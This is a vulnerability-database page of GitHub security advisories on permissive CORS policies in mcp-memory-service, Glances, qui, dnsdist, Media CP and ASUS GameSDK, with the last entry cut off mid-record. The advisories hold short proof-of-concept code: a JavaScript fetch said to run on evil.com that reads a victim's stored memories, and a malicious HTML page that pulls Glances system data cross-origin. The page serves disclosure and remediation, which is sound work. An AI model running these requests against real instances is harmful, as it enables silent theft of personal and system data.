Vulnerability-Lookup

GHSA-G89M-R2GH-92R6

Vulnerability from github – Published: 2023-02-15 21:30 – Updated: 2023-02-24 18:30

Details

Media CP Media Control Panel latest version. A Permissive Flash Cross-domain Policy may allow information disclosure.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-23464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-15T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Media CP Media Control Panel latest version. A Permissive Flash Cross-domain Policy may allow information disclosure.",
  "id": "GHSA-g89m-r2gh-92r6",
  "modified": "2023-02-24T18:30:27Z",
  "published": "2023-02-15T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23464"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9RG-8VQ5-MPWM

Vulnerability from github – Published: 2026-03-07 02:12 – Updated: 2026-03-20 21:32

Summary

mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft

Details

Summary

When the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.

Details

Vulnerable Code

config.py:546 - Wildcard CORS origin default

CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',')

This produces ['*'] by default, allowing any origin.

app.py:274-280 - CORSMiddleware configuration

# CORS middleware
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,        # ['*'] by default
    allow_credentials=True,             # Unnecessary for anonymous access; bad practice
    allow_methods=["*"],
    allow_headers=["*"],
)

How the Attack Works

The wildcard CORS default means every API response includes Access-Control-Allow-Origin: *. This tells browsers to allow any website to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:

// Running on https://evil.com - reads victim's memories
// No credentials needed - anonymous access means the API is open
const response = await fetch('http://192.168.1.100:8000/api/memories');
const memories = await response.json();
// memories contains every stored memory - passwords, API keys, personal notes

The browser sends the request, the server responds with ACAO: *, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.

Clarification on allow_credentials=True: The advisory originally stated that Starlette reflects the Origin header when allow_credentials=True with wildcard origins. Testing with Starlette 0.52.1 shows that actual responses return ACAO: * (not the reflected origin); only preflight OPTIONS responses reflect the origin. Per the Fetch specification, browsers block ACAO: * when credentials: 'include' is used. However, this is irrelevant to the attack because anonymous access means no credentials are needed - a plain fetch() without credentials: 'include' works, and ACAO: * allows it.

Two Attack Vectors

This misconfiguration enables two distinct attack paths:

1. Cross-origin browser attack (CORS - this advisory) - Attacker lures victim to a malicious webpage - JavaScript on the page reads/writes the memory service API - Works from anywhere on the internet if the victim visits the page - The ACAO: * header is what allows the browser to expose the response to the attacker's JavaScript

2. Direct network access (compounding factor) - Attacker on the same network directly calls the API (curl http://<target>:8000/api/memories) - No CORS involved - CORS is a browser-only restriction - Enabled by 0.0.0.0 binding + anonymous access, independent of CORS configuration

The CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.

Compounding Factors

HTTP_HOST = '0.0.0.0' - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)
HTTPS_ENABLED = 'false' - No TLS by default, allowing passive interception
MCP_ALLOW_ANONYMOUS_ACCESS - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which ACAO: * blocks)
allow_credentials=True - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users
API key via query parameter - api_key query param is cached in browser history and server logs

Attack Scenario

Victim runs mcp-memory-service with HTTP enabled and anonymous access
Victim visits https://evil.com which includes JavaScript
JavaScript sends fetch('http://<victim-ip>:8000/api/memories') (no credentials needed)
Server responds with Access-Control-Allow-Origin: *
Browser allows JavaScript to read the response - attacker receives all memories
Attacker's script also calls DELETE/PUT endpoints to modify or destroy memories
Victim sees a normal web page; no indication of the attack

Root Cause

The default value of MCP_CORS_ORIGINS is *, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically localhost). The allow_credentials=True is an additional misconfiguration that doesn't currently enable the attack.

PoC

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from starlette.testclient import TestClient

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/api/memories")
def memories():
    return [{"content": "secret memory data"}]

client = TestClient(app)

# Non-credentialed request (how the real attack works with anonymous access)
response = client.get("/api/memories", headers={"Origin": "https://evil.com"})
print(response.headers["access-control-allow-origin"])  # *
print(response.json())  # [{"content": "secret memory data"}]
# Any website can read this response because ACAO is *

Impact

Complete cross-origin memory access: Any website can read all stored memories when the victim has the HTTP server running with anonymous access
Memory tampering: Write/delete endpoints are also accessible cross-origin, allowing memory destruction
Remote attack surface: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link
Silent exfiltration: The attack is invisible to the victim; no browser warnings, no popups, no indicators

Remediation

Replace the wildcard default with an explicit localhost origin:

# In config.py  (safe default)
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', 'http://localhost:8000,http://127.0.0.1:8000').split(',')

# In app.py - warn on wildcard
if '*' in CORS_ORIGINS:
    logger.warning("Wildcard CORS origin detected. This allows any website to access the API. "
                    "Set MCP_CORS_ORIGINS to restrict access.")

# Also: set allow_credentials=False unless specific origins are configured
app.add_middleware(
    CORSMiddleware,
    allow_origins=CORS_ORIGINS,
    allow_credentials='*' not in CORS_ORIGINS,  # Only with explicit origins
    allow_methods=["*"],
    allow_headers=["*"],
)

Affected Deployments

The vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to 0.0.0.0, maps the port, and does not override the wildcard CORS default.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-memory-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T02:12:26Z",
    "nvd_published_at": "2026-03-20T19:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen the HTTP server is enabled (`MCP_HTTP_ENABLED=true`), the application configures FastAPI\u0027s CORSMiddleware with `allow_origins=[\u0027*\u0027]`, `allow_credentials=True`, `allow_methods=[\"*\"]`, and `allow_headers=[\"*\"]`. The wildcard `Access-Control-Allow-Origin: *` header permits any website to read API responses cross-origin. When combined with anonymous access (`MCP_ALLOW_ANONYMOUS_ACCESS=true`) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.\n\n\n### Details\n### Vulnerable Code\n\n**`config.py:546` - Wildcard CORS origin default**\n\n```python\nCORS_ORIGINS = os.getenv(\u0027MCP_CORS_ORIGINS\u0027, \u0027*\u0027).split(\u0027,\u0027)\n```\n\nThis produces `[\u0027*\u0027]` by default, allowing any origin.\n\n**`app.py:274-280` - CORSMiddleware configuration**\n\n```python\n# CORS middleware\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=CORS_ORIGINS,        # [\u0027*\u0027] by default\n    allow_credentials=True,             # Unnecessary for anonymous access; bad practice\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n```\n\n### How the Attack Works\n\nThe wildcard CORS default means every API response includes `Access-Control-Allow-Origin: *`. This tells browsers to allow **any website** to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:\n\n```javascript\n// Running on https://evil.com - reads victim\u0027s memories\n// No credentials needed - anonymous access means the API is open\nconst response = await fetch(\u0027http://192.168.1.100:8000/api/memories\u0027);\nconst memories = await response.json();\n// memories contains every stored memory - passwords, API keys, personal notes\n```\n\nThe browser sends the request, the server responds with `ACAO: *`, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.\n\n**Clarification on `allow_credentials=True`:** The advisory originally stated that Starlette reflects the `Origin` header when `allow_credentials=True` with wildcard origins. Testing with Starlette 0.52.1 shows that **actual responses return `ACAO: *`** (not the reflected origin); only preflight `OPTIONS` responses reflect the origin. Per the Fetch specification, browsers block `ACAO: *` when `credentials: \u0027include\u0027` is used. However, this is irrelevant to the attack because **anonymous access means no credentials are needed** - a plain `fetch()` without `credentials: \u0027include\u0027` works, and `ACAO: *` allows it.\n\n### Two Attack Vectors\n\nThis misconfiguration enables two distinct attack paths:\n\n**1. Cross-origin browser attack (CORS - this advisory)**\n- Attacker lures victim to a malicious webpage\n- JavaScript on the page reads/writes the memory service API\n- Works from anywhere on the internet if the victim visits the page\n- The `ACAO: *` header is what allows the browser to expose the response to the attacker\u0027s JavaScript\n\n**2. Direct network access (compounding factor)**\n- Attacker on the same network directly calls the API (`curl http://\u003ctarget\u003e:8000/api/memories`)\n- No CORS involved - CORS is a browser-only restriction\n- Enabled by `0.0.0.0` binding + anonymous access, independent of CORS configuration\n\nThe CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.\n\n### Compounding Factors\n\n- **`HTTP_HOST = \u00270.0.0.0\u0027`** - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)\n- **`HTTPS_ENABLED = \u0027false\u0027`** - No TLS by default, allowing passive interception\n- **`MCP_ALLOW_ANONYMOUS_ACCESS`** - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which `ACAO: *` blocks)\n- **`allow_credentials=True`** - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key users\n- **API key via query parameter** - `api_key` query param is cached in browser history and server logs\n\n### Attack Scenario\n\n1. Victim runs `mcp-memory-service` with HTTP enabled and anonymous access\n2. Victim visits `https://evil.com` which includes JavaScript\n3. JavaScript sends `fetch(\u0027http://\u003cvictim-ip\u003e:8000/api/memories\u0027)` (no credentials needed)\n4. Server responds with `Access-Control-Allow-Origin: *`\n5. Browser allows JavaScript to read the response - attacker receives all memories\n6. Attacker\u0027s script also calls DELETE/PUT endpoints to modify or destroy memories\n7. Victim sees a normal web page; no indication of the attack\n\n### Root Cause\n\nThe default value of `MCP_CORS_ORIGINS` is `*`, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically `localhost`). The `allow_credentials=True` is an additional misconfiguration that doesn\u0027t currently enable the attack.\n\n\n### PoC\n```python\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom starlette.testclient import TestClient\n\napp = FastAPI()\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n@app.get(\"/api/memories\")\ndef memories():\n    return [{\"content\": \"secret memory data\"}]\n\nclient = TestClient(app)\n\n# Non-credentialed request (how the real attack works with anonymous access)\nresponse = client.get(\"/api/memories\", headers={\"Origin\": \"https://evil.com\"})\nprint(response.headers[\"access-control-allow-origin\"])  # *\nprint(response.json())  # [{\"content\": \"secret memory data\"}]\n# Any website can read this response because ACAO is *\n```\n\n\n### Impact\n- **Complete cross-origin memory access**: Any website can read all stored memories when the victim has the HTTP server running with anonymous access\n- **Memory tampering**: Write/delete endpoints are also accessible cross-origin, allowing memory destruction\n- **Remote attack surface**: Unlike direct network access (which requires LAN proximity), the CORS vector works from anywhere on the internet - the victim just needs to visit a link\n- **Silent exfiltration**: The attack is invisible to the victim; no browser warnings, no popups, no indicators\n\n## Remediation\n\nReplace the wildcard default with an explicit localhost origin:\n\n```python\n# In config.py  (safe default)\nCORS_ORIGINS = os.getenv(\u0027MCP_CORS_ORIGINS\u0027, \u0027http://localhost:8000,http://127.0.0.1:8000\u0027).split(\u0027,\u0027)\n\n# In app.py - warn on wildcard\nif \u0027*\u0027 in CORS_ORIGINS:\n    logger.warning(\"Wildcard CORS origin detected. This allows any website to access the API. \"\n                    \"Set MCP_CORS_ORIGINS to restrict access.\")\n\n# Also: set allow_credentials=False unless specific origins are configured\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=CORS_ORIGINS,\n    allow_credentials=\u0027*\u0027 not in CORS_ORIGINS,  # Only with explicit origins\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n```\n\n## Affected Deployments\nThe vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to `0.0.0.0`, maps the port, and does not override the wildcard CORS default.",
  "id": "GHSA-g9rg-8vq5-mpwm",
  "modified": "2026-03-20T21:32:22Z",
  "published": "2026-03-07T02:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-g9rg-8vq5-mpwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33010"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/doobidoo/mcp-memory-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-memory-service\u0027s Wildcard CORS with Credentials Enables Cross-Origin Memory Theft"
}

GHSA-GFC2-9QMW-W7VH

Vulnerability from github – Published: 2026-04-21 15:14 – Updated: 2026-05-04 20:08

Summary

Glances: Cross-Origin Information Disclosure via Unauthenticated REST API (/api/4) due to Permissive CORS

Details

Summary

The Glances web server exposes a REST API (/api/4/*) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (Access-Control-Allow-Origin: *).

This allows a malicious website to read sensitive system information from a running Glances instance in the victim’s browser, leading to cross-origin data exfiltration.

While a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (/api/4/*) is also affected and exposes significantly more sensitive data.

Details

When Glances is started in web mode (e.g., glances -w -B 0.0.0.0), it exposes a REST API endpoint at: http://:61208/api/4/all The server responds with: Access-Control-Allow-Origin: *

This allows any origin to perform cross-origin requests and read responses.

The /api/4/all endpoint returns extensive system information, including: - Process list (processlist) - System details (hostname, OS, CPU info) - Memory and disk usage - Network interfaces and IP address - Running services and metrics Because no authentication is required by default, this data is accessible to any web page.

PoC

Start Glances: glances -w -B 0.0.0.0
Create a malicious HTML file:

<!DOCTYPE html>
<html>
<body>
<script>
fetch("http://<victim-ip>:61208/api/4/all")
  .then(r => r.json())
  .then(data => {
    console.log("DATA:", data);
  });
</script>
</body>
</html>

Open the file in a browser while Glances is running.
Observe that the browser successfully retrieves sensitive system information from the API. This works cross-origin (e.g., from file:// or attacker-controlled domains).

Impact

A remote attacker can host a malicious website that, when visited by a victim running Glances, can:

Read sensitive system information
Enumerate running processes
Identify network configuration and IP addresses
Fingerprint the host system

This requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:14:40Z",
    "nvd_published_at": "2026-04-21T00:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Glances web server exposes a REST API (`/api/4/*`) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (`Access-Control-Allow-Origin: *`).\n\nThis allows a malicious website to read sensitive system information from a running Glances instance in the victim\u2019s browser, leading to cross-origin data exfiltration.\n\nWhile a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (`/api/4/*`) is also affected and exposes significantly more sensitive data.\n\n### Details\nWhen Glances is started in web mode (e.g., `glances -w -B 0.0.0.0`), it exposes a REST API endpoint at:\nhttp://\u003chost\u003e:61208/api/4/all\nThe server responds with:\nAccess-Control-Allow-Origin: *\n\nThis allows any origin to perform cross-origin requests and read responses.\n\nThe `/api/4/all` endpoint returns extensive system information, including:\n- Process list (`processlist`)\n- System details (hostname, OS, CPU info)\n- Memory and disk usage\n- Network interfaces and IP address\n- Running services and metrics\nBecause no authentication is required by default, this data is accessible to any web page.\n\n### PoC\n1. Start Glances:\nglances -w -B 0.0.0.0\n\n2. Create a malicious HTML file:\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\"http://\u003cvictim-ip\u003e:61208/api/4/all\")\n  .then(r =\u003e r.json())\n  .then(data =\u003e {\n    console.log(\"DATA:\", data);\n  });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n2. Open the file in a browser while Glances is running.\n3. Observe that the browser successfully retrieves sensitive system information from the API.\nThis works cross-origin (e.g., from file:// or attacker-controlled domains).\n\n### Impact\nA remote attacker can host a malicious website that, when visited by a victim running Glances, can:\n\n- Read sensitive system information\n- Enumerate running processes\n- Identify network configuration and IP addresses\n- Fingerprint the host system\n\nThis requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.",
  "id": "GHSA-gfc2-9qmw-w7vh",
  "modified": "2026-05-04T20:08:23Z",
  "published": "2026-04-21T15:14:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gfc2-9qmw-w7vh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/fdfb977b1d91b5e410bc06c4e19f8bedb0005ce9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances: Cross-Origin Information Disclosure via Unauthenticated REST API (/api/4) due to Permissive CORS"
}

GHSA-GJV7-4R9P-7HMX

Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-03-31 12:31

Details

When the internal webserver is enabled (default is disabled), an attacker might be able to trick an administrator logged to the dashboard into visiting a malicious website and extract information about the running configuration from the dashboard. The root cause of the issue is a misconfiguration of the Cross-Origin Resource Sharing (CORS) policy.

Severity

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-0397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-31T12:16:27Z",
    "severity": "LOW"
  },
  "details": "When the internal webserver is enabled (default is disabled), an attacker might be able to trick an administrator logged to the dashboard into visiting a malicious website and extract information about the running configuration from the dashboard. The root cause of the issue is a misconfiguration of the Cross-Origin Resource Sharing (CORS) policy.",
  "id": "GHSA-gjv7-4r9p-7hmx",
  "modified": "2026-03-31T12:31:35Z",
  "published": "2026-03-31T12:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0397"
    },
    {
      "type": "WEB",
      "url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H8VW-PH9R-XPCH

Vulnerability from github – Published: 2026-03-19 16:28 – Updated: 2026-04-27 16:32

Summary

qui CORS Misconfiguration: Arbitrary Origins Trusted

Details

Summary

The application implements an HTML5 cross-origin resource sharing (CORS) policy that allows access from any domain.

While the application is typically deployed within a trusted local network, successful exploitation of this weakness does not require any direct access to the instance by the attacker. Exploitation of this vulnerability uses the victim's browser as a conduit for interaction with the application.

The mechanism used is a malicious webpage that requests from or posts to sensitive application paths upon load. This may be made transparent to the user, and harvested data may be sent back to the attacker upon success.

Cause and Remedy

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://example.com

The above response headers are responsible for the vulnerability. Access-Control-Allow-Origin was found to reflect arbitrary origins, implementing an effective blanket whitelist. Additionally, Access-Control-Allow-Credentials was returned as true, indicating to the browser that the loaded resource was permitted to leverage saved session information.

Correction of these values remediate the vulnerability. Defaulting to deny, with the configuration option to revert, should have no impact on the typical downstream user.

Impact

Any action that can taken by a user can be carried out by an attacker via a malicious webpage. The scope of this vulnerability varies from sensitive data exfiltration (account credentials) to a complete takeover of the underlying system (deployment dependent).

The application connects to and authenticates with several outside websites and related services. Successful exploitation of this vulnerability may lead to the exposure of certain credentials saved by the application to the attacker (such as passkeys or API keys). This exposure may lead to possible compromise of user accounts on connected websites and services. Some accounts are once-per-lifetime and compromise or abuse may lead to permanent loss of access.

Additionally, due to the built-in External Programs manager, successful exploitation of this vulnerability may lead to a compromise of the underlying system, including possible callbacks to an attacker-controlled server or established c2. Successful exploitation of this mechanism leads to a compromise of the host or container, depending on if the installation is native or containerized, in the user-context of the application (often root/privileged).

This exposure can occur without alerting the user. Certain actions may be logged by the qui log service, but removal of these log entries may be possible following a compromise of the host or container.

Conditions

AT:P is set due to the prerequisite that the application not be accessed via localhost or 127.0.0.1, as many modern browsers now have additional layers of protection for external->internal cross-origin requests. Some browsers may be impacted, but the likelihood is reduced. Users that access via any other domain or IP address are impacted.

UI:P is set due to the requirement that a malicious webpage be loaded by the browser, whether that be by way of a typo-squatted domain, malicious application, social engineering, or otherwise. Some services may automatically load webpages upon receipt in order to render a preview (i.e. certain IRC clients or other web apps used for communications), leading to an edge case where exploitation may sometimes occur without any intentional interaction by the user.

Knowledge of the target hostname is required, which may be obtained through various forms of enumeration or social engineering.

Mitigation in lieu of update

Users who use a unique hostname, do not provide that hostname to untrusted persons or services, run a containerized instance, do not click on or automatically load untrusted webpages, and do not expose their instance to the greater internet for simplified discovery and attribution, have already reduced their exposure significantly. These mitigating factors already apply to most users. Simply signing out after use can reduce this exposure even further.

Due to the conditions under which successful exploitation can occur, we do not expect to see regular exploitation of this item in the wild outside of highly targeted attacks reliant on the use of social engineering.

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

9.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/autobrr/qui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T16:28:04Z",
    "nvd_published_at": "2026-03-19T21:17:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe application implements an HTML5 cross-origin resource sharing (CORS) policy that allows access from any domain.\n\nWhile the application is typically deployed within a trusted local network, successful exploitation of this weakness does not require any direct access to the instance by the attacker. Exploitation of this vulnerability uses the victim\u0027s browser as a conduit for interaction with the application.\n\nThe mechanism used is a malicious webpage that requests from or posts to sensitive application paths upon load. This may be made transparent to the user, and harvested data may be sent back to the attacker upon success.\n\n### Cause and Remedy\n\n```\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: https://example.com\n```\nThe above response headers are responsible for the vulnerability. `Access-Control-Allow-Origin` was found to reflect arbitrary origins, implementing an effective blanket whitelist. Additionally, `Access-Control-Allow-Credentials` was returned as `true`, indicating to the browser that the loaded resource was permitted to leverage saved session information.\n\nCorrection of these values remediate the vulnerability. Defaulting to deny, with the configuration option to revert, should have no impact on the typical downstream user.\n\n### Impact\n\nAny action that can taken by a user can be carried out by an attacker via a malicious webpage. The scope of this vulnerability varies from sensitive data exfiltration (account credentials) to a complete takeover of the underlying system (deployment dependent).\n\nThe application connects to and authenticates with several outside websites and related services. Successful exploitation of this vulnerability may lead to the exposure of certain credentials saved by the application to the attacker (such as passkeys or API keys). This exposure may lead to possible compromise of user accounts on connected websites and services. Some accounts are once-per-lifetime and compromise or abuse may lead to permanent loss of access.\n\nAdditionally, due to the built-in External Programs manager, successful exploitation of this vulnerability may lead to a compromise of the underlying system, including possible callbacks to an attacker-controlled server or established c2. **Successful exploitation of this mechanism leads to a compromise of the host or container**, depending on if the installation is native or containerized, in the user-context of the application (often root/privileged).\n\nThis exposure can occur without alerting the user. Certain actions may be logged by the qui log service, but removal of these log entries may be possible following a compromise of the host or container.\n\n### Conditions\n\nAT:P is set due to the prerequisite that the application not be accessed via `localhost` or `127.0.0.1`, as many modern browsers now have additional layers of protection for external-\u003einternal cross-origin requests. Some browsers may be impacted, but the likelihood is reduced. Users that access via any other domain or IP address are impacted.\n\nUI:P is set due to the requirement that a malicious webpage be loaded by the browser, whether that be by way of a typo-squatted domain, malicious application, social engineering, or otherwise. Some services may automatically load webpages upon receipt in order to render a preview (i.e. certain IRC clients or other web apps used for communications), leading to an edge case where exploitation may sometimes occur without any intentional interaction by the user.\n\nKnowledge of the target hostname is required, which may be obtained through various forms of enumeration or social engineering.\n\n### Mitigation in lieu of update\n\nUsers who use a unique hostname, do not provide that hostname to untrusted persons or services, run a containerized instance, do not click on or automatically load untrusted webpages, and do not expose their instance to the greater internet for simplified discovery and attribution, have already reduced their exposure significantly. These mitigating factors already apply to most users. Simply signing out after use can reduce this exposure even further.\n\n**Due to the conditions under which successful exploitation can occur, we do not expect to see regular exploitation of this item in the wild outside of highly targeted attacks reliant on the use of social engineering.**",
  "id": "GHSA-h8vw-ph9r-xpch",
  "modified": "2026-04-27T16:32:51Z",
  "published": "2026-03-19T16:28:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/autobrr/qui/security/advisories/GHSA-h8vw-ph9r-xpch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/autobrr/qui/commit/424f7a0de089dce881e8bbecd220163a78e0295f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/autobrr/qui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "qui CORS Misconfiguration: Arbitrary Origins Trusted"
}

GHSA-HC66-XCG9-CFG4

Vulnerability from github – Published: 2026-07-15 03:32 – Updated: 2026-07-15 03:32

Details

Permissive Cross-domain Security Policy with Untrusted Domains in ASUS GameSDK allows a remote user to obtain a local user’s NTLM hash by convincing the user to visit a crafted web page that sends a request containing a UNC path to the application’s local service endpoint. This can result in information disclosure or data tampering, may cause GameSDK to become unavailable, and may also enable access to the victim’s information on other services. Refer to the ' Security Update for ASUS GameSDK ' section on the ASUS Security Advisory for more information.

Severity

7.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
